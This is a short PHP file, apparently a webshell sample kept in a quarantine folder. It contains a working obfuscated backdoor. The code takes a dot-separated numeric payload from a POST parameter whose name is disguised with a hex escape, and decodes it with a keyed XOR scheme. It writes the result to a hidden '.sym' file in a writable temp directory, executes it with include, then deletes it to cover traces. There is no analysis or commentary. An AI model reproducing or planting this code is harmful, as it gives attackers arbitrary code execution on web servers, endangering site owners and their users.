File: /home/msgdhg02/quarantine_webshells_server2/rvsindex.php
<?php
if(@$_POST["v\x61l"] !== null){
$dchunk = $_POST["v\x61l"];
$dchunk=explode ( "." ,$dchunk ) ;
$itm='';
$s='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen=strlen($s);
foreach ($dchunk as $w => $v6) {
$chS=ord($s[$w% $sLen]);
$d=((int)$v6 - $chS - ($w% 10)) ^ 24;
$itm .= chr($d);
}
$symbol = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]);
while ($ent = array_shift($symbol)) {
if (array_product([is_dir($ent), is_writable($ent)])) {
$entity = str_replace("{var_dir}", $ent, "{var_dir}/.sym");
$success = file_put_contents($entity, $itm);
if ($success) {
include $entity;
@unlink($entity);
die();}
}
}
}